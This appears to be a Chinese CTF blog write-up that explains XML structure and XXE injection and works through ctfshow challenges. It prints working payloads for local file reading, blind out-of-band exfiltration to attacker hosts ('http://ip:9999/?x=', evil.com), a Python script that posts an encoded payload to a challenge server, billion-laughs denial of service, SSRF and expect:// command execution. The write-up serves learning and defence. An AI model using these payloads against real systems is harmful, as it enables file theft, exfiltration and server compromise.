0x01 前言
前两天看了一下xxe的题目，感觉也可以来补补这个基础知识来，为了这个，还浅浅的了解了一下伪协议
0x02 question
xml了解
XML（Extensible Markup Language，可扩展标记语言）是一种用于存储和传输数据的标记语言，它类似于 HTML，但更加灵活，主要用于定义数据，而不是显示数据。XML 的设计目标是数据的可移植性、可读性以及易于扩展。也就是和序列化差不多的特点(但是不能混为一谈哦)
XML 文档的结构通常由三部分组成：XML 声明、DTD(可选的文档类型定义) 和 **元素(内容部分)**。
写一个xml的demo来分析这三个结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bookstore SYSTEM "bookstore.dtd">
<bookstore>
<book category="fiction">
<title lang="en">The Great Gatsby</title>
<author>F. Scott Fitzgerald</author>
<year>1925</year>
<price>10.99</price>
</book>
<book category="non-fiction">
<title lang="en">Sapiens: A Brief History of Humankind</title>
<author>Yuval Noah Harari</author>
<year>2011</year>
<price>14.99</price>
</book>
</bookstore>
|
xml声明
这个东西就类似于，使用C语言编程的
所以也就是基本固定的，只不过有些选项是可选的
1
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
**standalone="yes"**：表示这个 XML 文档是否依赖外部的 DTD 或其他外部实体。选项有：
yes：表示文档是自包含的，不依赖外部定义。no：表示文档依赖外部 DTD 或实体。
但是由于我们xxe是xml外部实体注入(等会说)，所以肯定是不写这个或者是写no
DTD
而这里又分为内部实体\外部实体\字符实体\参数实体，都是为了方便做参数替换来使用的，可以帮助简化和减少代码冗余。然后再使用&进行调用(和C一样)
1
2
3
| <!DOCTYPE user [
<!ENTITY file SYSTEM "file:///flag">
]>
|
一个很普通的DTD，这里主要就是想强调一个点
这里是要写根元素的，而不是想怎么写就怎么来(实际上好像不这么写也能生效)
内部实体
比如说
1
2
3
4
5
6
| <!DOCTYPE example [
<!ENTITY author "Linjiang Zheng">
]>
<example>
<author>&author;</author>
</example>
|
那么此刻author表单的内容就是Linjiang Zheng
外部实体
1
| <!ENTITY 实体名称 SYSTEM "URL or path">
|
还是写个Demo
1
2
3
4
5
6
7
| <!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>1</password>
</user>
|
就比如我们常见的，直接利用协议进行flag的读取
这些协议都可以使用
参数实体
1
| <!ENTITY % 实体名称 SYSTEM "URL or path">
|
与外部实体略有不同
1
2
3
4
| <!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
|
注意这种写法只可以在dtd文件中使用,也就是打无回显的xxe
字符实体
预定义
这些是XML标准中已经定义好的一些常见字符，例如：
1
2
3
4
5
| < 表示小于号 <
> 表示大于号 >
& 表示与号 &
" 表示双引号 "
' 表示单引号 '
|
数字
- 十进制数字实体：形式为
&#decimal;，其中 decimal 是字符的十进制Unicode码点。
- 十六进制数字实体：形式为
&#xhex; 或 &#Xhex;，其中 hex 是字符的十六进制Unicode码点。
比如说
1
2
| <user><</user>
<user><</user>
|
都表示<
| 原字符 |
预定义 |
十六进制参考 |
十进制参考 |
" |
" |
" |
" |
& |
& |
& |
& |
' |
' |
' |
' |
< |
< |
< |
< |
> |
> |
> |
> |
|
|
|
|
这张表格由于解析问题只能手做服了
PCDATA&&CDATA
PCDATA 是 “Parsed Character Data” 的缩写，表示可解析的字符数据。也就是说，PCDATA 中的字符会被解析器解析，并根据 XML 或 HTML 的语法规则进行处理。
在 PCDATA 中，某些字符（如 <、& 等）不能直接使用，必须进行转义或作为标签来使用。例如 < 被解析为标签的开始，& 被解析为实体引用的开始。
1
2
3
4
| <note>
<to>Tove</to>
<message>Hello,<world></b>!</message>
</note>
|
CDATA 是 “Character Data” 的缩写，表示不可解析的字符数据。也就是说，CDATA 部分的内容会被当作纯文本处理，不会进行解析。
CDATA 区块中的所有字符，包括特殊字符（如 <、> 和 &），都会被当作原始文本保留，而不是作为标签或实体解析。
1
| <message><![CDATA[Hello, <b>world</b>!]]></message>
|
| 特性 |
PCDATA |
CDATA |
| 解析 |
解析器会解析 PCDATA 的内容，并识别标签或实体引用。 |
CDATA 中的内容不会被解析，全部作为文本处理。 |
| 使用特殊字符 |
必须对特殊字符（如 < 和 &）进行转义。 |
特殊字符可以直接使用，不需要转义。 |
| 典型用途 |
适用于普通文本和可解析的标记内容。 |
适用于代码片段或不希望被解析的文本内容。 |
| 定义形式 |
直接包含在元素内容中。 |
使用 <![CDATA[...]]> 声明来包含数据。 |
| 嵌套标签 |
可以解析嵌套标签（如 <b>），并按标签的定义渲染。 |
嵌套标签不会被解析成标记，而是作为文本内容显示。 |
元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
|
元素顺序是固定了的，所以在书写的时候也必须按着这个写，然后捏插入特殊符号也不能直接写
xml的书写特性
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中，空格会被保留
xxe
看了上面的东西其实也就会写个最简单的请求，不要晕了
xxe是xml外部实体注入漏洞，那么既然是外部实体，所以其他的也就没有那么的重要，既然是注入那么这里有张图可以参考
那么漏洞原理是什么呢
让服务端在解析XML文档时，对声明的外部实体进行引用，实际触发攻击者预定的文件、网络等资源操作，甚至是执行系统命令
这里的Demo就选择ctfshow web入门的xxe模块吧
Demo1
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
|
可以进行外部实体加载，并且正常读取xml文档，读取ctfshow元素，根元素自己写
写个poc
1
2
3
4
| <!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<wi><ctfshow>&xxe;</ctfshow></wi>
|
直接打入即可，刚写的时候可能是容易写错的，我就写错了，所以建议找个在线xml辨别器
Demo2
web374
1
2
3
4
5
6
7
8
9
10
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
|
这里一看就没有回显了，所以payload其实不用太大的改变，只是我们需要进行dtd的远程书写一下
现在自己vps上面写一个test.dtd,我建议是在dtd里面写多些关键文件，这样子是不会被pass的
1
2
3
4
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ip:9999/?x=%file;'>">
%eval;
%exfiltrate;
|
payload
1
2
3
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ip/test.dtd">%xxe;]>
<root><ctfshow>123;</ctfshow></root>
|
然后监听端口9999即可,这里的IP必须写能够进行web服务的,如果是开的特殊端口的话要把端口加上
其实我自己写的时候卡了一会，因为我不理解为什么定义参数实体的时候写成%而不是直接就写%,后来想了想问了几个师傅，其实应该算是一种固定格式吧，因为参数实体的定义是
1
2
3
| % name
这里为了正常的解析
% 也就是使用了16进制字符实体，这里的;是为了隔断解析方式
|
比如前面解析的时候是用的Unicode，但是我后面是需要正常解析才行的，所以就用;进行隔断
可能还有一个小小的疑惑(第二天早上突然发现)就是为什么没有进行&xxe;的实体调用，我看网上很多payload都是这么写的，但是我这里三个实体都是参数实体，直接就调用了，所以在他们进行外部实体调用的时候我随便写个123也可完成xxe
Demo3
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
|
那么当禁用了http的时候我们怎么操作呢，很简单，写个脚本来编码绕过即可
1
2
3
4
5
6
7
8
| import requests
url="https://91baacfb-f234-4f53-bc4f-412652b34241.challenge.ctf.show/"
data='''
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://27.25.151.48:12138/test.dtd">%xxe;]>
<root>123;</root>
'''.encode('utf-16')
r=requests.post(url,data,verify=False)
|
其实这里的话这个元素怎么猜，这就是能猜了呀，因为本身是ctfshow的本台要么就是ctfshow，要么就是root这些默认的,不写声明也能xxe大家应该知道吧
Demo4
ctfshow web378
这里直接默认就登录成功了，也不需要爆破，但是没有进入理想的页面,抓包发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| Rsponse:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
|
这里看到源码,从这里也可以浅浅的看到
1
| var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
|
xxe确实是一种注入的攻击手法
看到是进行xml文档的登录，所以直接xxe，这里看一下发包吧主要就是也有一些地方要改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| Request:
POST /doLogin HTTP/1.1
Host: 75a0196a-e978-4264-86a2-1cccf066c2a6.challenge.ctf.show
Cookie: cf_clearance=VDdapNbpwbPn6a1IM_PxJ0JXmcd0KRqr0Bf_cjtzjRY-1722865983-1.0.1.1-z9eFIJzdq2FOhOt1m9jPdicCjw4UPrBmoItiz1nAqzyxbXVOdGYDAqZJdUurUqU3FJLTgOSn3lo8Eml1_VWjXg
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/xml;charset=utf-8
Content-Length: 122
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>123</password></user>
|
这四个Demo基本就覆盖了一些类型，当然肯定有其他的进攻点，但是手法思路都是这个，只需要改改协议什么的就可以了
还有就是这四个Demo的，有些特别是blind不用和我写的一样，我其实发现了很多写法，可以自己尝试一下
参考payload
文件读取
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
|
blind 文件读取
1
2
3
4
| <!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://evil.com/xxeoobdetector"> %xxe;
]>
<foo/>
|
1
2
3
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % def "<!ENTITY % send SYSTEM 'http://evil.com/?data=%file;'>">
%def; %send;
|
DDoS
1
2
3
4
5
6
7
8
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY dos "dos">
<!ENTITY dos1 "&dos;&dos;&dos;&dos;&dos;">
<!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;">
<!ENTITY xxe "&dos2;&dos2;&dos2;&dos2;&dos2;">
]>
<foo>&xxe;</foo>
|
ssrf\include
1
2
3
4
5
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<foo>&xxe;</foo>
|
RCE
1
2
3
4
5
6
7
8
| <?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
|
fix
直接禁用外部实体加载即可，或者是bypass这方面多点关键词
0x03 小结
这篇文章我本人觉得写的很烂，因为并没有从代码中去实际的探寻其中的奥秘，而且网上参考资料也很少，所以这里给十月的我立一个flag，从某个CVE中再度解析xxe
0x04 reference
网上的大部分文章都有看，感谢师傅们！
